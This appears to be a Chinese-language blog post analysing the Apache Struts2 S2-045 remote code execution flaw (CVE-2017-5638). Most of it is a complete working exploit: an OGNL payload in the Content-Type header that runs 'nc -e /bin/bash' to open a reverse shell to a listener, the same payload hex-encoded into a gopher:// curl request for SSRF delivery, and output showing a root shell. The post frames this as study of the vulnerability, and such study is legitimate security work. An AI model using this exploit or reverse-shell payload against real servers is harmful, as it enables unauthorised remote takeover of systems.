【漏洞分析】Struts2-045分析（CVE-2017-5638）
阿新 • • 發佈：2020-07-18
struts2 - 045 一個還比較出名的漏洞，因為涉及到利用Gopher協議反彈shell，所以寫篇文章來簡單學習下這個漏洞。
Struts2框架是一個用於開發Java EE網路應用程式的開放原始碼網頁應用程式架構。它利用並延伸了Java Servlet API，鼓勵開發者採用MVC架構。Struts2以WebWork優秀的設計思想為核心，吸收了Struts框架的部分優點，提供了一個更加整潔的MVC設計模式實現的Web應用程式框架 (摘自百度百科)
漏洞描述
使用Jakarta外掛處理檔案上傳操作時可能導致遠端程式碼執行漏洞。
漏洞影響
攻擊者可以通過構造HTTP請求頭中的Content-Type值可能造成遠端程式碼執行。
漏洞利用
以下為S2-045漏洞反彈shell的利用程式碼
GET /S2-045/ HTTP/1.1 Host: 192.168.0.119 Content-Type:%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.0.119 6666').(#iswin= (@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros= (@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
我們將其變為Gopher所能使用的請求
（使用Gopher傳送請求必須對其中的部分內容進行編碼，否則無法成功執行（在分類裡面有對Gopher利用的介紹））
curl gopher://192.168.0.119:8080/_GET%20/S2-045/%20HTTP/1.1%0d%0aHost:192.168.0.119%0d%0aContent-Type:%25%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%6e%63%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%30%2e%31%31%39%20%36%36%36%36%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d%0d%0a
一定要注意最後加上%0d%0a，以及很多URL編碼工具將會回車換行轉碼為%0a，一定要自己替換為%0a%0d
傳送請求後可以反彈shell
在本地監聽即可
margine:~ margin$ nc -l 6666 id uid=0(root) gid=0(root) groups=0(root)